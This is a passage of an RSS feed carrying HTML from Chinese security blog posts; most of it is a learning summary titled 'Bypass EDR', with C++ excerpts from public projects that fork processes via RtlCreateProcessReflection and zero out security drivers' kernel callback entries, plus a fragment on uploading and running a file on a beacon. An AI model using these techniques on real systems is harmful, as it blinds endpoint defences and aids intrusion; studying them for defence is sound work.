(array)</span></span></td></tr><tr cid="n213" mdtype="table_row" style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-width: 1px;border-style: solid;border-color: rgb(223, 226, 229);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n214" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 165.062px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;">view</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"><span cid="n215" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 189.469px;min-height: 10px;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">View</strong></span><span md-inline="plain" style="box-sizing: border-box;"> Menu</span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(223, 226, 229);min-width: 32px;"></td></tr></tbody></table></figure><p cid="n217" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">可以看到通过recentquery弹出对话框输入要查询的用户名后，调用回调函数recentqueryfunc，回调函数参数如下</span></p><p cid="n218" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><p style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">$1</p></span><span md-inline="plain" style="box-sizing: border-box;">是对对话框的引用。</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><p style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">$2</p></span><span md-inline="plain" style="box-sizing: border-box;">是按钮名称。</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><p style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">$3</p></span><span md-inline="plain" style="box-sizing: border-box;">是一个字典，将每一行的名称映射到它的值，所以在$3变量的字典中找到bid键的值，将文件上传到beacon上并执行</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=981284a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCciaVpLmxV7rMLCvBlIjFCaP6FJnJyUj1nfacZBy2picJVPtiaC05HUKXALgKypI4lWB8QjrcuhB9zHw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247483775">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7d60a9c7&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483775%26idx%3D1%26sn%3D99f21e953cbe39245e819593d7b89486">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 23 Jan 2023 18:19:00 +0800</pubDate>
    </item>
    <item>
      <title>[新年特刊-初一篇]Bypass EDR</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483774&amp;idx=1&amp;sn=36802fb543e1b6c23f0a5a3507a26b71</link>
      <description>对公开的edr绕过方法和项目的学习总结，渗透狗真的是摸着石头学习，感觉确实会有很多理解不到位的地方和错漏的地</description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2023-01-22 00:01</span> <span style="display: inline-block;">内蒙古</span>
</p>

<p>对公开的edr绕过方法和项目的学习总结，渗透狗真的是摸着石头学习，感觉确实会有很多理解不到位的地方和错漏的地</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e2dbb044&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCff1Xs0fStPCfzwFiabqyJHmR8EIoTp8sXia5cI8A4dianQ3GDwPR8PicpMka5jys8bOaJRKZDjDFZSJQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p cid="n2" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">对公开的edr绕过方法和项目的学习总结，渗透狗真的是摸着石头学习，感觉确实会有很多理解不到位的地方和错漏的地方，希望大佬可以指正</span></p><h2 cid="n3" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">dirtyVanity</span></h2><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">Eliran Nissan大佬之前在最近的欧洲黑帽大会上提出的姿势，众所周知，windows是不支持用户态的fork的，但是我们可以利用windows 机制Process Reflection和Process Snapshotting完成对目标进程的fork</span></p><ul class="list-paddingleft-1" cid="n5" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n7" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Process Reflection：通过RtlCreateProcessReflection将进程远程fork，WDI（windows诊断基础结构）就是利用RtlCreateProcessReflection对持续运行的服务进行监控及调试</span></p></li><li style="box-sizing: border-box;"><p cid="n9" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Process Snapshotting：能够部分或全部捕获流程状态。它类似于Tool Help API，但有一个重要优势：它可以使用 Windows 内部 POSIX  fork功能（NtCreateProcess[Ex]）有效地捕获进程的虚拟地址内容。可以使用MiniDumpWriteDump函数将进程快照转储到文件中</span></p></li></ul><p cid="n10" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">利用以上两个机制，我们就可以对fork出的子进程进行敏感操作，从而绕过edr对敏感进程的监控</span></p><pre spellcheck="false" lang="c++" cid="n12" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(152, 26, 26);">!</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">lib</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">RtlCreateProcessReflectionFunc</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">RtlCreateProcessReflection</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">RtlCreateProcessReflectionFunc</span>)<span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetProcAddress</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">lib</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;RtlCreateProcessReflection&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(152, 26, 26);">!</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">RtlCreateProcessReflection</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">info</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> { <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> };</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">NTSTATUS</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reflectRet</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">RtlCreateProcessReflection</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">victimHandle</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">|</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">baseAddress</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">nullptr</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NULL</span>, <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">info</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">reflectRet</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">==</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">STATUS_SUCCESS</span>) {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">std::cout</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[+] Succesfully Mirrored to new PID: &#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">DWORD</span>)<span style="box-sizing: border-box;color: rgb(0, 0, 0);">info</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ReflectionClientId</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">UniqueProcess</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">std::endl</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">else</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">std::cout</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[!] Error Mirroring: ERROR &#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetLastError</span>() <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">std::endl</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reflectRet</span>;</span></pre><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">项目地址：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/deepinstinct/Dirty-Vanity" target="_blank">https://github.com/deepinstinct/Dirty-Vanity</a></span></p><h2 cid="n14" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">STFUEDR</span></h2><p cid="n15" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">因为edr通过注册 PspSetXXXXNotifyRoutine 内核回调函数来监视进程所以，程序直接检查</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><p style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">jmp PspSetXXXXNotifyRoutine</p></span><span md-inline="plain" style="box-sizing: border-box;">指令找到将PspSetXXXXNotifyRoutine 回调数组中edr的注册信息直接删掉，干掉edr的监控</span></p><pre spellcheck="false" lang="c++" cid="n16" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">              <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">callBackAddr</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NULL</span>) {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DWORD64</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">callBackAddrSfht</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> ((<span style="box-sizing: border-box;color: rgb(0, 0, 0);">callBackAddr</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;&gt;</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">4</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">4</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DWORD64</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">drivercallbackFuncAddr</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ReadMemoryDWORD64</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Device</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">callBackAddrSfht</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x8</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> (<span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">k</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>; <span style="box-sizing: border-box;color: rgb(0, 0, 0);">k</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">driverCount</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>; <span style="box-sizing: border-box;color: rgb(0, 0, 0);">k</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">++</span>) {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">drivercallbackFuncAddr</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">reinterpret_cast</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">DWORD64</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">drivers</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">k</span>]) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">drivercallbackFuncAddr</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">reinterpret_cast</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">DWORD64</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">drivers</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">k</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>])) {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetDeviceDriverBaseNameA</span>((<span style="box-sizing: border-box;color: rgb(0, 0, 0);">LPVOID</span>)<span style="box-sizing: border-box;color: rgb(0, 0, 0);">drivers</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">k</span>], <span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>));</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                            <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(152, 26, 26);">!</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;EX64.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Eng64.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;teefer2.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;teefer3.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;srtsp64.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;srtspx64.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;srtspl64.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Ironx64.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;fekern.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcmp</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">deviceName</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;cbk7.sys&#34;</span>) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;&amp;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                  ....</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                  <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Patch</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">WriteMemoryDWORD64</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Device</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nextaddr</span>, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x0000000000000000</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                            }</span></pre><p cid="n17" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">项目地址：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/lawiet47/STFUEDR" target="_blank">https://github.com/lawiet47/STFUEDR</a></span></p><h2 cid="n18" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">Dumpert</span></h2><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: 